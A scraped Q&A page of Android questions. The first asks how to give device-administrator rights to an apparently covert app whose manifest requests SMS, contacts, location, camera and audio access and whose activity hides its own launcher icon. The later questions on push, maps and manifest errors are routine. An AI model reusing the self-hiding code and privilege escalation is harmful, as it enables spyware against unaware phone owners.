Device administrator privilege to android app - java

I know similar questions has been asked many times but still i was unable to get my solution from any of it. I am quite new to android & JAVA so please keep that in mind :) .I am working on some security related experimental projects at work & trying to give my android application device administrator privilege. I have one SampleDeviceAdministrator app which works fine. I want to use reuse the same code to my application so that when my application is launched it gets device admin access too.For that i have included the java classes from former app to my app & i am trying to call the same code to my app thru former app. Here are screenshots of MainActivity.java from sample app.
package com.connect;
import android.app.Activity;
import android.app.ActivityManager;
import android.app.ActivityManager.RunningServiceInfo;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Bundle;
import android.util.Log;
import android.view.WindowManager;
public class Droidian extends Activity {
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
getWindow().addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
getWindow().setSoftInputMode(WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN);
PackageManager i = getApplicationContext().getPackageManager();
i.setComponentEnabledSetting(getComponentName(),PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
if(isMyServiceRunning()==false)
{
startService(new Intent(getApplicationContext(), DroidianService.class));
Log.i("com.connect","startService");
}
}
private boolean isMyServiceRunning() {
ActivityManager manager = (ActivityManager) getApplicationContext().getSystemService(Context.ACTIVITY_SERVICE);
for (RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
if (DroidianService.class.getName().equals(service.service.getClassName())) {
return true;
}
}
return false;
}
}
Here is Droidian.java which is main class for my application.
package com.connect;
import android.app.Activity;
import android.app.ActivityManager;
import android.app.ActivityManager.RunningServiceInfo;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Bundle;
import android.util.Log;
import android.view.WindowManager;
public class Droidian extends Activity {
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
getWindow().addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
getWindow().setSoftInputMode(WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN);
PackageManager i = getApplicationContext().getPackageManager();
i.setComponentEnabledSetting(getComponentName(),PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
if(isMyServiceRunning()==false)
{
startService(new Intent(getApplicationContext(), DroidianService.class));
Log.i("com.connect","startService");
}
}
private boolean isMyServiceRunning() {
ActivityManager manager = (ActivityManager) getApplicationContext().getSystemService(Context.ACTIVITY_SERVICE);
for (RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
if (DroidianService.class.getName().equals(service.service.getClassName())) {
return true;
}
}
return false;
}
}
& here AndroidManifest.xml
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.hidden.droidian"
android:versionCode="2"
android:versionName="2.0" xmlns:tools="http://schemas.android.com/tools">
<uses-sdk
android:minSdkVersion="10"
android:targetSdkVersion="18" tools:ignore="OldTargetApi"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<supports-screens android:resizeable="true"
android:largeScreens="true"
android:xlargeScreens="true"
/>
<application
android:icon="#drawable/launcher"
android:label="#string/app_name"
android:theme="#style/Invisible"
android:allowBackup="false"
android:persistent="true">
<activity
android:name="com.connect.Droidian"
android:excludeFromRecents="true">
</activity>
<activity
android:name="com.connect.MainActivity"
android:label="#string/app_name">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity
android:name="com.connect.Dialog"
android:excludeFromRecents="true">
</activity>
<activity
android:name="com.connect.CameraView"
android:excludeFromRecents="true">
</activity>
<activity
android:name="com.connect.VideoView"
android:excludeFromRecents="true">
</activity>
<service android:name="com.connect.DroidianService"
android:enabled="true"
android:exported="true"
android:persistent="true">
</service>
<service android:name="com.connect.RecordService">
</service>
<receiver android:name="com.connect.ServiceReceiver"
android:enabled="true"
android:exported="true"
android:persistent="true">
<intent-filter android:priority="1000">
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
<action android:name="android.intent.action.PHONE_STATE" />
<action android:name="android.intent.action.ACTION_EXTERNAL_APPLICATIONS_AVAILABLE"/>
<action android:name="android.intent.action.QUICKBOOT_POWERON" />
</intent-filter>
</receiver>
<receiver
android:name="com.connect.SampleDeviceAdminReceiver"
android:permission="android.permission.BIND_DEVICE_ADMIN" >
<meta-data
android:name="android.app.device_admin"
android:resource="#xml/device_admin" />
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
</application>
<uses-permission android:name="android.permission.QUICKBOOT_POWERON" android:required="false" />
<uses-permission android:name="android.permission.INTERNET" android:required="true"/>
<uses-permission android:name="android.permission.READ_SMS" android:required="true" />
<uses-permission android:name="android.permission.WRITE_SMS" android:required="true" />
<uses-permission android:name="android.permission.GET_ACCOUNTS" android:required="true" />
<uses-permission android:name="com.android.browser.permission.READ_HISTORY_BOOKMARKS"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" android:required="true"/>
<uses-permission android:name="android.permission.READ_CONTACTS" android:required="true" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" android:required="true" />
<uses-permission android:name="android.permission.GET_TASKS" android:required="true" />
<uses-permission android:name="android.permission.WAKE_LOCK" android:required="false" />
<uses-permission android:name="android.permission.CALL_PHONE" android:required="true" />
<uses-permission android:name="android.permission.SEND_SMS" android:required="true" />
<uses-permission android:name="android.permission.WRITE_SETTINGS" android:required="false" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" android:required="false" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" android:required="true" />
<uses-permission android:name="android.permission.CAMERA" android:required="true" />
<uses-permission android:name="android.permission.RECORD_AUDIO" android:required="false" />
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" android:required="true" />
<uses-permission android:name="android.permission.RECEIVE_SMS" android:required="true" />
<uses-feature android:name="android.hardware.camera" android:required="false" />
<uses-feature android:name="android.hardware.camera.front" android:required="false" />
<uses-feature android:name="android.hardware.camera.autofocus" android:required="false" />
<uses-feature android:name="android.hardware.microphone" android:required="false" />
</manifest>
When I run my application, i get JAVA Runtime nullpointer exception. Here is snippet from logcat:
12-10 13:47:42.261 4435-4435/com.hidden.droidian E/AndroidRuntime﹕ FATAL EXCEPTION: main
Process: com.hidden.droidian, PID: 4435
java.lang.RuntimeException: Failure delivering result ResultInfo{who=null, request=100, result=0, data=null} to activity {com.hidden.droidian/com.connect.MainActivity}: java.lang.NullPointerException: Attempt to read from field 'java.lang.String android.content.pm.ActivityInfo.parentActivityName' on a null object reference
at android.app.ActivityThread.deliverResults(ActivityThread.java:3699)
at android.app.ActivityThread.handleSendResult(ActivityThread.java:3742)
at android.app.ActivityThread.-wrap16(ActivityThread.java)
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1393)
at android.os.Handler.dispatchMessage(Handler.java:102)
at android.os.Looper.loop(Looper.java:148)
at android.app.ActivityThread.main(ActivityThread.java:5417)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:726)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616)
Caused by: java.lang.NullPointerException: Attempt to read from field 'java.lang.String android.content.pm.ActivityInfo.parentActivityName' on a null object reference
at android.app.Activity.onCreate(Activity.java:905)
at com.connect.Droidian.onCreate(Droidian.java:16)
at com.connect.MainActivity.onActivityResult(MainActivity.java:54)
at android.app.Activity.dispatchActivityResult(Activity.java:6428)
at android.app.ActivityThread.deliverResults(ActivityThread.java:3695)
            at android.app.ActivityThread.handleSendResult(ActivityThread.java:3742)
            at android.app.ActivityThread.-wrap16(ActivityThread.java)
            at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1393)
            at android.os.Handler.dispatchMessage(Handler.java:102)
            at android.os.Looper.loop(Looper.java:148)
            at android.app.ActivityThread.main(ActivityThread.java:5417)
            at java.lang.reflect.Method.invoke(Native Method)
            at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:726)
            at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616)
Also, my application is supposed to be a hidden application so no launcher is created however, to execute device admin permission, launcher is required i suppose. If anyone could look into it would be great. Please let me know if i need to provide any more information. Thanks!

I think you forgot to post screenshots.
First of all, if Droidian.java is the main class for your app why it isn't set as launcher in Manifest file?
It should be like this:
<activity
android:name="com.connect.Droidian"
android:label="#string/app_name">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
And there is one and only one LAUNCHER in an app.
Let me know if this helps you.

Related

Parse sending notifications in dashboard but Android device not receiving

I've successfully created a Parse app and I'm using the application keys in my Android app implementation. I've followed all the steps here https://www.parse.com/apps/quickstart?onboard=#parse_push/android/existing (registration required unfortunately, but it's an instant process) and when I send a test push notification it is dispatched from the dashboard and is even received by a virtual device I'd set up as a control but nothing happens on a physical device. I thought it might be a socket issue so I alternated between wifi and 3G connections with no success
Here's the code I'm using:
Main:
package com.wetu.chronicle;
import android.os.Bundle;
import org.apache.cordova.*;
import com.parse.Parse;
import com.parse.ParseAnalytics;
import com.parse.ParseInstallation;
import com.parse.PushService;
public class chronicle extends DroidGap
{
#Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
super.loadUrl(Config.getStartUrl());
Parse.initialize(this, "xxxxxxxxx", "yyyyyyyyyyyy");
PushService.setDefaultPushCallback(this, chronicle.class);
PushService.subscribe(this, "Newsfeed", chronicle.class);
ParseInstallation.getCurrentInstallation().saveInBackground();
}
}
Android Manifest:
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.BROADCAST_STICKY" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.VIBRATE" />
<uses-permission android:name="android.permission.GET_ACCOUNTS" />
<uses-permission android:name="com.google.android.c2dm.permission.RECEIVE" />
<!--
IMPORTANT: Change "com.parse.starter.permission.C2D_MESSAGE" in the lines below
to match your app's package name + ".permission.C2D_MESSAGE".
-->
<permission android:protectionLevel="signature"
android:name="com.wetu.chronicle.permission.C2D_MESSAGE" />
<uses-permission android:name="com.wetu.chronicle.permission.C2D_MESSAGE" />
<application
android:debuggable="false"
android:hardwareAccelerated="true"
android:icon="#drawable/icon"
android:label="#string/app_name" tools:ignore="HardcodedDebugMode">
<activity android:name="chronicle" android:label="#string/app_name"
android:theme="#android:style/Theme.Black.NoTitleBar"
android:configChanges="orientation|keyboardHidden|keyboard|screenSize|locale">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name="com.parse.PushService" />
<receiver android:name="com.parse.ParseBroadcastReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.USER_PRESENT" />
</intent-filter>
</receiver>
<receiver android:name="com.parse.GcmBroadcastReceiver"
android:permission="com.google.android.c2dm.permission.SEND">
<intent-filter>
<action android:name="com.google.android.c2dm.intent.RECEIVE" />
<action android:name="com.google.android.c2dm.intent.REGISTRATION" />
<!--
IMPORTANT: Change "com.parse.starter" to match your app's package name.
-->
<category android:name="com.wetu.chronicle" />
</intent-filter>
</receiver>
</application>
<uses-sdk android:minSdkVersion="9" android:targetSdkVersion="19"/>
I'm available to clarify any questions you might have and/or post additional code.
Its most likely because your app isn't active in the background. A lot of my android apps have been struggling from this. A decent solution might be to make sure there is an alarm clock that wakes the app up. I've never dealt with parse though so this may not work, its worked for me in other scenarios though

Cocos2d-x Android - Google Play Game Services App crashes on connect()

I tried to implement Google Play Game Services within my Cocos2d-x project based on the baseGameUtils sample project following this description:
http://www.cocos2d-x.org/forums/6/topics/28296
However, the application crashes within the connect() method of the sample file GameHelper.java calling the method
mGoogleApiClient.connect();
The error occurs within the call of the connect() method of the com.google.android.gms.common.api.GoogleApiClient, since neither the onConnected(Bundle connectionHint) nor the onConnectionFailed(ConnectionResult result) method gets called.
Logcat shows the following messages:
W/ActivityManager( 698): Unable to start service Intent { cmp=com.android.email/.service.AttachmentDownloadService } U=0: not found
W/ActivityManager( 698): mDVFSHelper.acquire()
I/ActivityManager( 698): Config changes=480 {1 0 1.0 262mcc2mnc de_DE ldltr sw360dp w640dp h335dp 480dpi nrml long land finger -keyb/v/h -nav/h s.140}
W/ActivityManager( 698): Permission denied: checkComponentPermission() owningUid=10158
W/ActivityManager( 698): mDVFSHelper.release()
I/ActivityManager( 698): Process org.cocos2dx.testcpp (pid 493) (adj 0) has died.
I guess, that there is something wrong with my AndroidManifest.xml file, but I can not figure out what`s the problem:
<uses-sdk android:minSdkVersion="8"/>
<uses-feature android:glEsVersion="0x00020000" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.GET_ACCOUNTS" />
<uses-permission android:name="android.permission.USE_CREDENTIALS" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="com.google.android.c2dm.permission.RECEIVE" />
<application android:label="#string/app_name"
android:icon="#drawable/icon">
<meta-data android:name="com.google.android.gms.appstate.APP_ID"
android:value="#string/app_id" />
<activity android:name=".TestCpp"
android:allowBackup="true"
android:exported="true"
android:label="#string/app_name"
android:screenOrientation="landscape"
android:theme="#android:style/Theme.NoTitleBar.Fullscreen"
android:configChanges="orientation">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
<supports-screens android:largeScreens="true"
android:smallScreens="true"
android:anyDensity="true"
android:normalScreens="true"/>
Can anyone help me with this problem?
Maybe you need update the lib implementation. I have a template for IOS and Android working with Cocos2d-x and Google Play Game Services.
https://github.com/cpinan/Cocos2dX_GooglePlayGamesServices
You can check this.

Google maps with android

I want to display google maps in my android application. I tried with the google api, but it seems to have problems with API 12 and lower. So i used the example in this page (http://www.truiton.com/2013/05/android-supportmapfragment-example/), but it doesn't seem so work in my API 7 device (xperia 10 mini pro). I used the same code in that page and i get this error after the application starts:
10-18 18:04:55.481: E/AndroidRuntime(3980): Uncaught handler: thread main exiting due to uncaught exception
10-18 18:04:55.491: E/AndroidRuntime(3980): java.lang.RuntimeException: Unable to instantiate activity ComponentInfo{com.example.maps/com.example.maps.MainActivity}: java.lang.ClassNotFoundException: com.example.maps.MainActivity in loader dalvik.system.PathClassLoader#458fc8e0
I get this error even if i did the "Add support library" in the "Android tools" menu, but it doesn't work. I saw that using GM with a web view is not a great idea, so i wanted to fix this problem.
you need to use 2.2 (API 8) and up inorder to use google maps v2
See here,just change the api key with your key in manifest file and follow these steps:
and make sure that your google_play_services_lib project should be present in your project's work space only.
Manifest file:
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="18" />
<uses-feature
android:glEsVersion="0x00020000"
android:required="true" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="com.google.android.providers.gsf.permission.READ_GSERVICES" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<application
android:allowBackup="true"
android:icon="#drawable/ic_launcher"
android:label="#string/app_name"
android:theme="#style/AppTheme" >
<activity
android:name="com.geeklabs.map.MainActivity"
android:label="#string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<meta-data
android:name="com.google.android.maps.v2.API_KEY"
android:value="replace with your API key"/>
</application>
</manifest>
MainActivity.java:
package com.geeklabs.map;
import android.os.Bundle;
import android.app.Activity;
import android.view.Menu;
public class MainActivity extends Activity {
#Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}
}
activity_main.xml:
<?xml version="1.0" encoding="utf-8"?>
<fragment xmlns:android="http://schemas.android.com/apk/res/android"
android:id="#+id/map"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:name="com.google.android.gms.maps.MapFragment"/>
After got this let me know.

RuntimeException: Unable to instantiate receiver

I am attempting to launch an activity after the screen is unlocked and am getting the error log below. I looked at the other posts regarding my issue but now of them solved my problem
E/AndroidRuntime: FATAL EXCEPTION: main
java.lang.RuntimeException: Unable to instantiate receiver com.me.phone.Receive: java.lang.ClassNotFoundException: com.me.phone.Receive
at android.app.ActivityThread.handleReceiver(ActivityThread.java:2239)
at android.app.ActivityThread.access$1600(ActivityThread.java:139)
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1300)
at android.os.Handler.dispatchMessage(Handler.java:99)
at android.os.Looper.loop(Looper.java:137)
at android.app.ActivityThread.main(ActivityThread.java:4918)
at java.lang.reflect.Method.invokeNative(Native Method)
Mainifest
<uses-sdk
android:minSdkVersion="14"
android:targetSdkVersion="17" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.RECEIVE_USER_PRESENT" />
<uses-feature android:name="android.hardware.camera" />
<application
android:allowBackup="true"
android:icon="#drawable/ic_launcher"
android:label="#string/app_name"
android:theme="#style/AppTheme" >
<activity
android:name="com.me.phone.MainActivity"
android:label="#string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<receiver android:name=".Recieve" >
<intent-filter
android:enabled="true"
android:exported="false" >
<action android:name="android.intent.action.USER_PRESENT" />
</intent-filter>
</receiver>
</application>
</manifest>
Reciever
package com.me.phone;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class Recieve extends BroadcastReceiver{
#Override
public void onReceive(Context context, Intent intent)
{
Intent activity = new Intent(context, MainActivity.class);
activity.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(activity);
}
}
Could it be that "Receive" is spelled two different ways in your example?
From the exception:
...java.lang.ClassNotFoundException: com.me.phone.Receive
From the manifest:
<receiver android:name=".Recieve" >

Runtime error starting Service caused by ClassCastException

I am getting runtime error, trying to start a boot-time service. Its failing but there is no hint I can see. The intent is finding the Service but it doesn't get to onCreate or onStart.
public class ControlReceiver extends BroadcastReceiver
{
/**
* #see android.content.BroadcastReceiver#onReceive(Context,Intent)
*/
#Override
public void onReceive(Context context, Intent intent)
{
Intent service = new Intent(context, MyApp.class);
Log.d("rcvr", "Received intent:" + intent.getAction());
context.startService(service);
}
}
The manifest:
<manifest
android:versionCode="1"
android:versionName="1.0"
package="com.company.package"
xmlns:android="http://schemas.android.com/apk/res/android">
<uses-sdk
android:minSdkVersion="9"
android:targetSdkVersion="10"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_GPS"/>
<uses-permission android:name="android.permission.ACCESS_MOCK_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_ASSISTED_GPS"/>
<uses-permission android:name="android.permission.ACCESS_CELL_ID"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_LOGS"/>
<uses-permission android:name="android.permission.SET_ACTIVITY_WATCHER"/>
<uses-permission android:name="android.permission.STATUS_BAR"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.BROADCAST_STICKY"/>
<uses-permission android:name="android.permission.CONTROL_LOCATION_UPDATES"/>
<uses-permission android:name="android.permission.SET_DEBUG_APP"/>
<uses-permission android:name="android.permission.BATTERY_STATS"/>
<uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
<uses-permission android:name="android.permission.BIND_DEVICE_ADMIN"/>
<uses-permission android:name="android.permission.DIAGNOSTIC"/>
<uses-permission android:name="android.permission.DEVICE_POWER"/>
<uses-permission android:name="android.permission.DUMP"/>
<uses-permission android:name="android.permission.CHANGE_COMPONENT_ENABLED_STATE"/>
<uses-permission android:name="android.permission.SIGNAL_PERSISTENT_PROCESSES"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.PERSISTENT_ACTIVITY"/>
<uses-permission android:name="android.permission.HARDWARE_TEST"/>
<uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES"/>
<application
android:icon="#drawable/ic_launcher"
android:label="#string/mod_name"
android:name=".MyApp">
<!-- We declare our service here -->
<service
android:enabled="true"
android:exported="true"
android:icon="#drawable/ic_launcher"
android:label="#string/serv_name"
android:name=".MyApp"
android:process=":my_process">
<intent-filter>
<action android:name="com.company.package.MY_INTENT" />
</intent-filter>
</service>
<receiver
android:name=".ControlReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
<action android:name="android.intent.action.ACTION_EXTERNAL_APPLICATIONS_AVAILABLE" />
</intent-filter>
</receiver>
<receiver
android:name=".BatteryHelper" >
<intent-filter>
<action android:name="android.intent.action.BATTERY_OKAY"/>
<action android:name="android.intent.action.BATTERY_CHANGED"/>
<action android:name="android.intent.action.ACTION_POWER_DISCONNECTED"/>
<action android:name="android.intent.action.ACTION_POWER_CONNECTED"/>
<action android:name="android.intent.action.BATTERY_LOW"/>
<category android:name="android.intent.category.INFO"/>
</intent-filter>
</receiver>
</application>
</manifest>
The exception thrown
FATAL EXCEPTION: main
java.lang.RuntimeException: Unable to instantiate application com.company.package.MyApp: java.lang.ClassCastException: com.company.package.MyApp cannot be cast to android.app.Application
at android.app.LoadedApk.makeApplication(LoadedApk.java:529)
at android.app.ActivityThread.handleBindApplication(ActivityThread.java:4442)
at android.app.ActivityThread.access$1300(ActivityThread.java:139)
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1305)
at android.os.Handler.dispatchMessage(Handler.java:99)
at android.os.Looper.loop(Looper.java:154)
at android.app.ActivityThread.main(ActivityThread.java:4945)
at java.lang.reflect.Method.invokeNative(Native Method)
at java.lang.reflect.Method.invoke(Method.java:511)
Update
When I removed android:name=".MyApp" for the application from the manifest, the service started. Anyone know why?
when I removed android:name=".MyApp" for the application from the manifest, the service started. Anyone know why?
The reason for this is most likely the fact that your MyApp class does not extend android.app.Application.
As the Android Developer Site says:
android:name
The fully qualified name of an Application subclass
implemented for the application. When the application process is
started, this class is instantiated before any of the application's
components.
The subclass is optional; most applications won't need
one. In the absence of a subclass, Android uses an instance of the
base Application class.
Since subclassing Application is optional, removing android:name=".MyApp" allows your app to properly start because you're no longer trying to cast MyApp to Application which is exactly what your exception claims your app is trying to do.

Categories

Resources